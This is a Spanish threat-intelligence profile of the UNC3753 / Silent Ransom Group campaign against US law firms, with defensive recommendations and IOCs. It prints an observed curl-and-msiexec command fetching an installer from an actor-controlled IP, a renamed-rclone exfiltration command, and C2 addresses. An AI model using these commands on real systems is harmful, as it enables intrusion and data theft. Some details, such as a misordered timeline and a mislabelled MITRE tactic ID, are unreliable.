Ver el código de «Campaña UNC3753 (Silent Ransom Group): Vishing, Secuestro de Pantalla y Ahora Intrusiones Físicas Contra Bufetes de Abogados Estadounidenses (2026)»

== Nombres Alternativos / Aliases ==

* UNC3753 (Mandiant/Google Threat Intelligence Group)
* Silent Ransom Group (SRG) (Nombre principal)
* Luna Moth (Alias secundario)
* Chatty Spider (Alias secundario)
* Call Back Phishing / BazarCall Evolution (Por la técnica)
* LEAKEDDATA Campaign (Por el sitio de filtraciones)

----

== Fecha de Detección / Actividad ==
{| class="wikitable"
!Fecha/Período
!Evento
|-
|Desde al menos marzo 2022
|Actividad inicial del grupo (relacionado con UNC2686/Conti)
|-
|2022
|Despliegue de LOCKBIT.BLACK (ransomware)
|-
|Post-2022
|Abandono de ransomware → solo robo de datos + extorsión
|-
|Enero - mayo 2026
|Campaña documentada por Mandiant contra docenas de empresas en EE.UU.
|-
|Mayo 2026
|FBI emite alerta FLASH sobre intrusiones físicas
|-
|Marzo 2025
|Cambio táctico: de señuelos de suscripción a suplantación de IT interno
|-
|8 de junio de 2026
|Publicación del informe consolidado por Security Affairs
|}
Estado actual: Activa (el grupo continúa operando y evolucionando)
----

== Actor de Amenaza (Atribución) ==
{| class="wikitable"
!Categoría
!Descripción
|-
|Nombre del Actor
|UNC3753 / Silent Ransom Group (SRG) / Luna Moth / Chatty Spider
|-
|Vínculo Gubernamental
|No (ciberdelincuencia con motivación financiera)
|-
|Relación con Conti
|Coincidencias con extinto grupo de ransomware Conti
|-
|Tipo de Actor
|Ciberdelincuencia / Extorsión sin ransomware / Data theft
|-
|Sofisticación
|MEDIA-ALTA. El grupo demuestra:
|}

* Ingeniería social avanzada (vishing + pretextos)
* Capacidad de intrusión física (envío de personas a oficinas)
* Uso de herramientas legítimas (RMM, WinSCP, Rclone) para evasión
* Infraestructura de C2 con técnicas Fast Flux
* Conocimiento profundo del sector legal (iManage, términos fiscales W-2/W-9)
* Capacidad de extorsión con sitio de filtraciones propio (LEAKEDDATA) |  | Motivación | Financiera (extorsión pura, sin ransomware) |  | Antigüedad | Activo desde al menos marzo 2022 |  | Operaciones previas | Despliegue de LockBit Black (2022), campañas BazarCall desde 2021 (como UNC2686) |

----

== Resumen Ejecutivo ==
Entre enero y mayo de 2026, UNC3753 (también conocido como Silent Ransom Group, Luna Moth o Chatty Spider) llevó a cabo una campaña de extorsión dirigida a bufetes de abogados, empresas de servicios financieros y organizaciones de servicios profesionales en Estados Unidos, afectando a docenas de empresas.

Lo que hace única esta campaña:
{| class="wikitable"
!Característica
!Descripción
|-
|Sin malware
|No se utiliza ransomware ni código malicioso tradicional. Solo llamadas telefónicas y herramientas legítimas.
|-
|Acceso puramente humano
|No requiere vulnerabilidades, 0-days ni fuerza bruta. Solo una persona que llama con una historia creíble.
|-
|Dimensión física
|Si el vishing falla, el grupo envía a alguien en persona a la oficina con una unidad USB.
|-
|Extorsión pura
|No hay cifrado de datos. Solo robo + amenaza de publicación en LEAKEDDATA.
|-
|Objetivo ideal: bufetes de abogados
|No pueden permitirse el escándalo ni la pérdida de confianza de sus clientes.
|}

=== Descubrimientos clave ===
{| class="wikitable"
!Descubrimiento
!Detalle
|-
|Tiempo operacional
|Secuencia completa (contacto → robo → extorsión) en menos de un día hábil
|-
|Búsqueda y robo de datos
|En menos de una hora
|-
|Nota de extorsión
|Llega a los 30 minutos de salir del entorno
|-
|Plazo para negociar
|3 días
|-
|Volumen de datos robados
|1.7 GB (OneDrive) + 14.4 GB (VDI) en un caso documentado
|-
|Objetivos de búsqueda
|Formularios W-2, W-9, 1099, archivos de auditoría, contratos con clientes, números de Seguro Social
|-
|Plataforma objetivo
|iManage (gestión documental de bufetes), SharePoint, OneDrive, VDI
|}
----

== Vector de Ataque / Métodos de Distribución ==

=== El mecanismo de acceso: completamente humano ===
<blockquote>''"El mecanismo de acceso es completamente humano. No se requiere ninguna vulnerabilidad, ni ataque de día cero, ni acceso por fuerza bruta a las credenciales. Solo una persona que llame con una historia creíble."''</blockquote>

=== Fase 1: El correo electrónico de pretexto ===
El ataque comienza con un correo electrónico insípido que:

* No contiene enlaces maliciosos ni archivos adjuntos
* Solo un mensaje genérico: ''"hello, here is the invcoie we talked about yesterday"''
* El propósito NO es infectar nada, sino crear ansiedad sobre un problema de facturación o seguridad
* Cuando la víctima recibe la llamada de "soporte TI", ya está predispuesta a cooperar

=== Fase 2: La llamada de vishing (suplantación de IT) ===
{| class="wikitable"
!Táctica
!Descripción
|-
|Suplantación
|Se hacen pasar por personal interno de soporte TI o del equipo de seguridad
|-
|Fuente de números
|Extraídos de sitios web públicos de la organización
|-
|Pretextos
|Migración de datos, problemas de facturación, alertas de seguridad
|-
|Resultado
|Convencen a la víctima de unirse a una sesión de pantalla compartida
|}

=== Fase 3: La sesión de pantalla compartida ===
El atacante guía a la víctima para que:

# Descargue e instale herramientas legítimas de administración remota (RMM):
#* AnyDesk, Bomgar, Zoho Assist, SuperOps RMM
#* También usa herramientas integradas: Zoom, Microsoft Teams, Quick Assist
# Reciba instrucciones a través de privnote.com (servicio de mensajería autodestructiva)
#* No queda registro permanente en el navegador ni en logs de chat

Comando de instalación observado:

bash
 curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

=== Fase 4: Persistencia sin prisa ===
En un caso documentado, el atacante mantuvo cinco llamadas distintas con la misma víctima durante tres días utilizando Microsoft Teams.<blockquote>''"Persistencia, no prisa."''</blockquote>

=== Fase 5: Pivote a infraestructura corporativa ===
El grupo explota computadoras portátiles personales (BYOD) para acceder a:

* Windows 365 (Windows365.exe)
* Clientes Citrix
* Desde ahí, acceden al VDI corporativo (Virtual Desktop Infrastructure)

=== Fase 6: Búsqueda y robo de datos ===
Una vez dentro del VDI corporativo:
{| class="wikitable"
!Acción
!Descripción
|-
|Enumeración
|Directorios locales, carpetas de OneDrive, unidades de red mapeadas
|-
|Búsqueda en iManage
|Usan funciones de búsqueda por palabras clave específicas
|-
|Objetivos de búsqueda
|Formularios W-2, W-9, 1099, archivos de auditoría, contratos con clientes, números de Seguro Social
|-
|Almacenamiento temporal
|Archivos acumulados en carpeta <code>Downloads</code> del usuario o perfil Roaming
|-
|Tiempo total
|Desde búsqueda hasta exfiltración: menos de una hora
|}

=== Fase 7: Exfiltración ===
{| class="wikitable"
!Método
!Descripción
|-
|WinSCP o Rclone
|Versiones portables, transferencia FTP/SFTP
|-
|Cuentas cloud del atacante
|Acceden directamente en el navegador de la víctima y arrastran carpetas
|-
|Correo electrónico
|Víctima envía archivos desde su propio buzón a cuentas controladas
|-
|Caso documentado
|1.7 GB (OneDrive) → Google Drive; luego 14.4 GB adicionales con WinSCP
|}

=== Fase 8: La nota de extorsión ===
Llega a los 30 minutos de que el atacante abandone el entorno:<blockquote>''"Te damos 3 días para responder. Si ignoras, llamaremos y enviaremos correos a tus empleados y clientes. Publicaremos todo en LEAKEDDATA. La policía no te ayudará, solo te multarán."''</blockquote>
----

== La nueva dimensión: Intrusiones físicas (FBI Flash Alert, mayo 2026) ==
Cuando la ingeniería social remota falla, UNC3753 envía a alguien a la oficina en persona:
{| class="wikitable"
!Fase
!Descripción
|-
|Llegada
|Persona se hace pasar por técnico informático
|-
|Pretexto
|Necesita clonar el dispositivo o crear copias de seguridad locales para solucionar un problema de seguridad
|-
|Acción
|Conecta una unidad USB y exfiltra datos directamente
|-
|Atribución
|Mandiant no puede atribuir formalmente todas las intrusiones físicas a UNC3753, pero las coincidencias estructurales son sólidas
|}
<blockquote>''"Cuando una campaña de vishing pasa a allanamientos físicos, el modelo de amenazas para la recepción de cualquier empresa cambia por completo."''</blockquote>
----

== Técnicas, Tácticas y Procedimientos (TTPs) - MITRE ATT&CK ==
{| class="wikitable"
!Táctica (MITRE ATT&CK)
!Técnica / Subtécnica
!Descripción / Implementación
|-
|Initial Access (TA0001)
|Phishing: Spearphishing Voice (T1566.004)
|Vishing: llamadas suplantando IT interno
|-
|Initial Access (TA0001)
|External Remote Services (T1133)
|RMM, Teams, Zoom, Quick Assist
|-
|Execution (TA0002)
|User Execution: Malicious File (T1204.002)
|Instalación de RMM guiada por atacante
|-
|Execution (TA0002)
|Command and Scripting Interpreter: PowerShell (T1059.001)
|Comando curl para instalar SuperOps
|-
|Persistence (TA0003)
|Scheduled Task/Job: Scheduled Task (T1053.005)
|Persistencia opcional
|-
|Persistence (TA0003)
|Boot or Logon Autostart Execution (T1547.001)
|Registry Run Keys
|-
|Defense Evasion (TA0005)
|Masquerading: Match Legitimate Name or Location (T1036.005)
|Uso de herramientas RMM legítimas
|-
|Defense Evasion (TA0005)
|Subvert Trust Controls: Code Signing (T1553.002)
|Herramientas firmadas
|-
|Defense Evasion (TA0005)
|Impair Defenses: Disable or Modify Tools (T1562.001)
|Desactivación de herramientas de seguridad
|-
|Defense Evasion (TA0005)
|Indicator Removal: Clear Windows Event Logs (T1070.001)
|Limpieza de logs
|-
|Credential Access (TA0006)
|OS Credential Dumping (T1003.001, T1003.002)
|LSASS, SAM
|-
|Discovery (TA0008)
|File and Directory Discovery (T1083)
|Enumeración de iManage, OneDrive, unidades de red
|-
|Discovery (TA0008)
|Network Share Discovery (T1135)
|Unidades mapeadas
|-
|Lateral Movement (TA0008)
|Remote Access Software (T1219)
|AnyDesk, Bomgar, Zoho Assist
|-
|Lateral Movement (TA0008)
|Remote Services: RDP (T1021.001)
|Movimiento lateral
|-
|Collection (TA0009)
|Data from Local System (T1005)
|Búsqueda de W-2, W-9, SSN, contratos
|-
|Command & Control (TA0011)
|Protocol Tunneling (T1572)
|Fast Flux, túneles
|-
|Exfiltration (TA0010)
|Automated Exfiltration (T1020)
|WinSCP, Rclone
|-
|Exfiltration (TA0010)
|Exfiltration to Cloud Storage (T1567.002)
|Google Drive del atacante
|-
|Exfiltration (TA0010)
|Exfiltration Over Physical Medium (T1052.001)
|USB en intrusiones físicas
|-
|Impact (TA0040)
|Data Encrypted for Impact (T1486)
|No usan ransomware (solo robo)
|-
|Impact (TA0040)
|Financial Theft / Extortion (T1657)
|Nota de extorsión, LEAKEDDATA
|}
----

== Flujo de Ataque (Cyber Kill Chain) ==
{| class="wikitable"
!Fase
!Descripción
|-
|1. Reconocimiento
|Identificación de bufetes de abogados, firmas financieras, servicios profesionales en EE.UU.
|-
|2. Armamento
| - Preparación de correos de pretexto (facturas)
- Configuración de infraestructura (privnote.com, dominios <org>-itdesk.com)
- Cuentas cloud para exfiltración
|-
|3. Entrega
| - Correo de pretexto (sin malware)
- Llamada de vishing suplantando IT interno
|-
|4. Explotación (social)
|Víctima coopera voluntariamente (ingeniería social, no técnico)
|-
|5. Instalación
| - Instalación de RMM legítimo (AnyDesk, Bomgar, Zoho Assist, SuperOps)
- En casos físicos: conexión de USB
|-
|6. Comando y Control
| - Sesión de escritorio remoto vía RMM/Teams/Zoom
- Infraestructura Fast Flux
|-
|7. Acción sobre Objetivos
| - Búsqueda en iManage de W-2, W-9, 1099, SSN, contratos
- Exfiltración con WinSCP/Rclone/Google Drive
- Nota de extorsión en 30 minutos
- Amenaza de publicación en LEAKEDDATA
|}
----

== Infraestructura Utilizada ==

=== Dominios de phishing (patrón consistente) ===
{| class="wikitable"
!Patrón
!Ejemplo
|-
|<code><organization>-itdesk[.]com</code>
|<code>victima-itdesk.com</code>
|-
|<code><organization>-it[.]com</code>
|<code>victima-it.com</code>
|-
|<code><organization>-helpdesk[.]com</code>
|<code>victima-helpdesk.com</code>
|}

=== Direcciones IP C2 (IPv4) ===
{| class="wikitable"
!IP
|-
|<code>192.236.147.131</code>
|-
|<code>192.236.147.138</code>
|-
|<code>193.141.60.212</code>
|-
|<code>192.236.154.158</code>
|-
|<code>192.236.146.173</code>
|-
|<code>174.169.162.62</code>
|-
|<code>64.94.84.97</code>
|}

=== Sitio de filtraciones de datos ===
{| class="wikitable"
!URL
!Propósito
|-
|<code>hxxps://business-data-leaks[.]com</code>
|Publicación de datos robados (DLS - Data Leak Site)
|-
|<code>hxxps://LEAKEDDATA</code> (referenciado en notas)
|Sitio mencionado en extorsión
|}

=== Servicios abusados ===
{| class="wikitable"
!Servicio
!Propósito
|-
|privnote.com
|Mensajería autodestructiva (instrucciones al usuario)
|-
|AnyDesk, Bomgar, Zoho Assist, SuperOps RMM
|Control remoto persistente
|-
|Zoom, Teams, Quick Assist
|Sesiones de pantalla compartida
|-
|WinSCP, Rclone
|Exfiltración de datos
|-
|Google Drive
|Almacenamiento intermedio de datos robados
|-
|Microsoft OneDrive
|Origen de datos robados (1.7 GB en un caso)
|-
|Windows 365, Citrix
|Pivote a VDI corporativo
|}

=== Infraestructura Fast Flux ===
Resecurity documentó el uso de Fast Flux por parte de SRG: técnica que cambia rápidamente las direcciones IP asociadas a un dominio para evadir detección y bloqueo.
----

== Detalle Técnico de la Exfiltración ==

=== Herramientas de exfiltración ===
{| class="wikitable"
!Herramienta
!Característica
!Por qué la eligen
|-
|WinSCP
|Portable, SFTP/SCP
|No requiere instalación, deja pocos rastros
|-
|Rclone
|Sincronización con cloud
|Puede ser renombrada/oculta, soporta múltiples proveedores
|-
|Google Drive (navegador)
|Acceso web
|Usan la sesión autenticada de la víctima
|}

=== Ejemplo de comando Rclone (oculto) ===
bash
 # Versión renombrada para evadir detección
 renamed_rclone.exe copy C:\Users\victima\Downloads\staged_data remote:victima_folder

=== Búsqueda en iManage ===
El grupo conoce las palabras clave específicas del sector legal para buscar en iManage:
{| class="wikitable"
!Término de búsqueda
!Tipo de documento
|-
|<code>W-2</code>, <code>W-9</code>, <code>1099</code>
|Documentos fiscales
|-
|<code>audit</code>
|Archivos de auditoría
|-
|<code>client agreement</code>
|Contratos con clientes
|-
|<code>SSN</code>, <code>Social Security</code>
|Números de Seguro Social
|-
|<code>merger</code>, <code>acquisition</code>
|Planes de fusiones y adquisiciones
|}

=== Tiempo de operación ===
{| class="wikitable"
!Fase
!Tiempo documentado
|-
|Desde contacto inicial hasta robo
|Menos de 1 día hábil
|-
|Búsqueda, stage y exfiltración
|Menos de 1 hora
|-
|Nota de extorsión
|30 minutos después de salir
|}
----

== Víctimas y Sectores Afectados ==
{| class="wikitable"
!Categoría
!Datos
|-
|País principal
|Estados Unidos
|-
|Sectores objetivo
|Servicios legales (bufetes de abogados), servicios financieros, servicios profesionales
|-
|Período de campaña
|Enero - mayo 2026
|-
|Número de organizaciones
|Docenas (al menos 24+ documentadas por Mandiant)
|-
|Sectores históricos
|También aseguradoras, finanzas, salud (desde 2023)
|-
|Objetivo principal desde primavera 2023
|Bufetes de abogados con sede en EE.UU. (FBI)
|}

=== Por qué los bufetes de abogados son objetivos ideales ===
{| class="wikitable"
!Factor
!Explicación
|-
|Datos extremadamente sensibles
|Planes de fusiones, secretos comerciales, informes regulatorios
|-
|Alto riesgo reputacional
|No pueden permitirse el escándalo
|-
|Alto riesgo regulatorio
|Posibles multas por filtración de datos de clientes
|-
|Motivación para resolver en silencio
|Prefieren pagar antes que exponer su fracaso de seguridad
|}
<blockquote>''"Los bufetes de abogados son objetivos ideales porque no pueden permitirse el escándalo y lo saben."''</blockquote>
----

== Impacto y Riesgo ==
{| class="wikitable"
!Categoría
!Nivel
!Descripción
|-
|Detección
|MUY BAJA
|No usa malware; herramientas legítimas; tráfico normal
|-
|Velocidad operacional
|MUY ALTA
|Hora para robar datos; 30 minutos para extorsión
|-
|Capacidad de evasión
|ALTA
|Fast Flux, privnote, BYOD, VDI pivot
|-
|Dimensión física
|CRÍTICA
|Intrusiones en persona con USB (nuevo vector)
|-
|Impacto reputacional
|MUY ALTO
|Filtración de datos de clientes de bufetes
|-
|Impacto financiero
|ALTO
|Extorsión + posibles multas regulatorias
|}

=== Consecuencias específicas ===
{| class="wikitable"
!Consecuencia
!Gravedad
!Detalle
|-
|Filtración de datos de clientes
|Crítica
|W-2, W-9, SSN, contratos, planes de fusiones
|-
|Extorsión pública
|Crítica
|Publicación en LEAKEDDATA si no pagan
|-
|Daño reputacional
|Crítica
|Pérdida de confianza de clientes actuales y futuros
|-
|Multas regulatorias
|Alta
|Regulaciones de protección de datos
|-
|Demandas de clientes
|Alta
|Clientes pueden demandar por mala gestión de datos
|}

=== Nota de extorsión (fragmentos clave) ===
<blockquote>''"La policía no te ayudará. Solo te multarán."''

''"Te damos 3 días. Si ignoras, llamaremos a tus empleados y clientes."''

''"Publicaremos todo en LEAKEDDATA. Periodistas y competidores lo leerán."''</blockquote>
----

== Detección y Respuesta ==

=== Recomendaciones de Mandiant, FBI y GTIG ===

==== Para prevenir intrusiones remotas (vishing + RMM) ====
{| class="wikitable"
!Acción
!Prioridad
!Descripción
|-
|Bloquear RMM no autorizadas
|CRÍTICA
|Políticas de control de aplicaciones (WDAC, EDR)
|-
|Acceso condicional
|CRÍTICA
|Solo dispositivos corporativos a VDI/VPN
|-
|Restringir control de pantalla
|ALTA
|En Zoom/Teams si no es necesario
|-
|MFA en repositorios documentales
|ALTA
|Especialmente iManage, SharePoint
|-
|Alertas en tiempo real
|ALTA
|En iManage y SharePoint para búsquedas masivas
|-
|Monitoreo de SSH (puerto 22)
|ALTA
|Para WinSCP/Rclone
|-
|Bloquear tráfico saliente a cloud APIs no autorizadas
|MEDIA
|Google Drive, etc.
|}

==== Para prevenir intrusiones físicas (USB) ====
{| class="wikitable"
!Acción
!Prioridad
!Descripción
|-
|Deshabilitar USB mass storage
|CRÍTICA
|GPO o MDM: deshabilitar lectura/escritura en USB
|-
|Copiar y registrar ID de visitantes
|CRÍTICA
|Recepción: copia de identificación
|-
|Verificar órdenes de trabajo
|CRÍTICA
|Antes de dar acceso a técnicos
|-
|Escolta obligatoria
|ALTA
|Todo técnico debe ser acompañado
|}

==== Capacitación de empleados ====
{| class="wikitable"
!Acción
!Descripción
|-
|Entrenamiento específico en vishing
|Incluir ejemplos de UNC3753 (suplantación de IT)
|-
|Ningún técnico llamará sin ticket
|Política: siempre verificar por canal secundario
|-
|Reportar llamadas sospechosas
|Canales claros y rápidos
|}

=== Reglas de detección (Google SecOps) ===
Mandiant ha publicado reglas en el paquete Mandiant Intel Emerging Threats:

* <code>Execute MSI Files Downloaded via Curl</code>
* <code>Suspected Rclone Exfiltration</code>

=== Herramientas de monitoreo ===
{| class="wikitable"
!Herramienta
!Propósito
|-
|Firewall logs
|Buscar tráfico SSH (puerto 22) desde VDIs/endpoints
|-
|Endpoint logs
|Ejecución de WinSCP, Rclone, instalación de AnyDesk/Bomgar/Zoho
|-
|iManage audit logs
|Picos de búsqueda, descargas masivas
|-
|SharePoint audit logs
|Mismos patrones
|-
|Logs de autenticación
|Accesos a VDI desde dispositivos no corporativos
|}
----

== Relación con otros grupos y evolución ==

=== Línea de tiempo táctica de UNC3753 ===
{| class="wikitable"
!Período
!Táctica principal
!Herramientas
|-
|2021 (como UNC2686)
|BazarCall: correos de suscripción con PDF y números de teléfono
|BAZARLOADER, TRICKBOT, URSNIF, SILENTNIGHT
|-
|2022
|Despliegue de LOCKBIT.BLACK (ransomware)
|LockBit
|-
|Post-2022
|Abandono de ransomware → solo robo de datos + extorsión
|Sin cifrado
|-
|Hasta marzo 2025
|Señuelos de cancelación de suscripción (facturas falsas)
|PDF con números de teléfono
|-
|Desde marzo 2025
|Suplantación de IT interno (vishing directo sin PDF)
|Llamadas directas, Teams, RMM
|-
|2026
|Intrusiones físicas (cuando vishing falla)
|USB, personal en oficina
|}

=== Overlaps con otros grupos ===
{| class="wikitable"
!Grupo/Clúster
!Relación
|-
|UNC2686
|Predecesor táctico (BazarCall), mismo estilo de callback phishing
|-
|Conti
|Coincidencias (extinto grupo de ransomware)
|-
|Silent Ransom Group (SRG)
|Nombre principal actual
|}
----

== Opiniones de Expertos ==
<blockquote>''"UNC3753 utiliza técnicas de suplantación de identidad por voz (vishing) y de ingeniería social para obtener acceso remoto a entornos corporativos. Mediante pretextos como la migración de datos o correos electrónicos relacionados con facturas, los ciberdelincuentes inician conversaciones telefónicas haciéndose pasar por personal de soporte técnico y convencen a las víctimas para que participen en sesiones de pantalla compartida y descarguen utilidades de monitorización y gestión remota (RMM)."''

— Google Threat Intelligence Group (GTIG)</blockquote><blockquote>''"Los ciberdelincuentes reconocen que atacar el factor humano —específicamente mediante ingeniería social guiada por voz— les permite eludir fácilmente perímetros técnicos robustos, puertas de enlace de seguridad web y configuraciones de autenticación multifactor."''

— Mandiant</blockquote><blockquote>''"El hecho de que actores con motivaciones financieras ataquen a organizaciones estadounidenses de servicios legales y profesionales representa un riesgo constante para el sector. Las firmas de servicios legales constituyen objetivos de alto valor para los extorsionadores, ya que almacenan información confidencial sobre transacciones de clientes, planes de fusiones y adquisiciones, secretos comerciales e informes regulatorios corporativos. Los grupos delictivos reconocen que las entidades legales están expuestas a un alto riesgo reputacional y regulatorio, y pueden estar muy motivados para resolver las situaciones de extorsión discretamente con el fin de proteger su reputación profesional."''

— Mandiant</blockquote><blockquote>''"Cuando una campaña de vishing pasa a allanamientos físicos, el modelo de amenazas para la recepción de cualquier empresa cambia por completo. Ya no basta con proteger el perímetro digital; ahora hay que proteger la recepción, la sala de espera y cada puerta que da a la calle. La capacidad de SRG de enviar a alguien en persona con una unidad USB es un escalón táctico significativo que fusiona el cibercrimen con el espionaje industrial tradicional. Para los bufetes de abogados, esto es existencial: no solo pueden robar sus datos, sino que ahora pueden entrar físicamente a robar carpetas de la sala de juntas."''

— Fernando Vargas (CiberAnalyst)</blockquote>
----

== Referencias y Fuentes ==

# Paganini, P. (2026, 8 de junio). ''UNC3753 escalation: from vishing calls to physical intrusions into US law and financial firms' offices''. Security Affairs.
# Reams, C., Ahmed, T., Knapp, K., Frazer, A., McLellan, T. (2026, 5 de junio). ''Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms''. Mandiant / Google Threat Intelligence Group.
# FBI. (2026, 26 de mayo). ''FLASH Alert: Silent Ransom Group Impersonating IT Personnel through Social Engineering'' (FLASH-20260526-01, TLP:CLEAR).
# CISA/FBI. ''Joint advisory on SRG tactics''.
# Resecurity. (2026). ''Fast Flux Infrastructure Discovery of Silent Ransom Group (SRG)''.
# Google Threat Intelligence Group. (2026). ''UNC3753 Campaign Detection Rules'' (Google SecOps).

----

== Historial de Revisiones ==
{| class="wikitable"
!Fecha
!Versión
!Autor
!Cambios Realizados
|-
|2026-06-11
|1.0
|Fernando Vargas Hincapié
|Creación inicial basada en informes de Mandiant/GTIG, FBI, Resecurity y Security Affairs
|}
----

== Indicadores de Compromiso (IOCs) ==

=== Direcciones IP C2 ===
text
 192.236.147.131
 192.236.147.138
 193.141.60.212
 192.236.154.158
 192.236.146.173
 174.169.162.62
 64.94.84.97

=== Dominios maliciosos (patrón) ===
{| class="wikitable"
!Patrón
|-
|<code><organization>-itdesk[.]com</code>
|-
|<code><organization>-it[.]com</code>
|-
|<code><organization>-helpdesk[.]com</code>
|}

=== Sitio de filtraciones ===
{| class="wikitable"
!URL
|-
|<code>hxxps://business-data-leaks[.]com</code>
|}

=== Servicios de mensajería abusados ===
{| class="wikitable"
!Servicio
|-
|<code>privnote[.]com</code>
|}

=== Herramientas RMM abusadas ===
{| class="wikitable"
!Herramienta
!Propósito
|-
|AnyDesk
|Control remoto
|-
|Bomgar
|Control remoto
|-
|Zoho Assist
|Control remoto
|-
|SuperOps RMM
|Control remoto
|-
|Zoom
|Pantalla compartida
|-
|Microsoft Teams
|Pantalla compartida + llamadas
|-
|Quick Assist
|Pantalla compartida (Windows nativo)
|}

=== Herramientas de exfiltración ===
{| class="wikitable"
!Herramienta
!Propósito
|-
|WinSCP (portable)
|SFTP/SCP
|-
|Rclone (renombrado)
|Sincronización con cloud
|}

=== Comportamiento anómalo a monitorear ===
{| class="wikitable"
!Comportamiento
!Dónde buscar
|-
|Instalación de AnyDesk/Bomgar/Zoho no autorizada
|Logs de endpoint, EDR
|-
|Ejecución de <code>msiexec /i</code> con URL sospechosa
|Logs de PowerShell, command line
|-
|Visitas a <code>privnote.com</code> desde red corporativa
|Logs de proxy web
|-
|Tráfico SSH (puerto 22) desde endpoints
|Firewall logs
|-
|Transferencias masivas a Google Drive desde navegador corporativo
|Logs de proxy web
|-
|Búsquedas en iManage con palabras clave fiscales (W-2, W-9, 1099)
|Logs de iManage
|-
|Copia masiva de archivos desde <code>Downloads</code> a rutas externas
|EDR, file audit
|}
----

== Preguntas sin respuesta ==
{| class="wikitable"
!Pregunta
!Estado
|-
|¿Cuántas organizaciones pagaron la extorsión?
|No especificado
|-
|¿Las intrusiones físicas están definitivamente vinculadas a UNC3753?
|Alta probabilidad (coincidencias estructurales), pero no atribución formal
|-
|¿El grupo ha operado fuera de EE.UU. en esta campaña?
|No documentado (principalmente EE.UU.)
|-
|¿La infraestructura Fast Flux sigue activa?
|Resecurity la descubrió y compartió para interrupción
|-
|¿El grupo ha reutilizado credenciales de acceso físico para ataques posteriores?
|No documentado
|}
----

== Etiquetas / Categorías ==
 unc3753 silent-ransom-group luna-moth chatty-spider vishing-campaign physical-intrusion law-firm-extortion data-theft-extortion business-data-leaks rmm-abuse anydesk-bomgar-zoho superops-ransomware winSCP-rclone fast-flux-network callback-phishing bazarcall-evolution it-helpdesk-impersonation byod-vdi-pivot iManage-targeting w2-w9-1099-theft FBI-flash-alert mandiant-google-threat-intelligence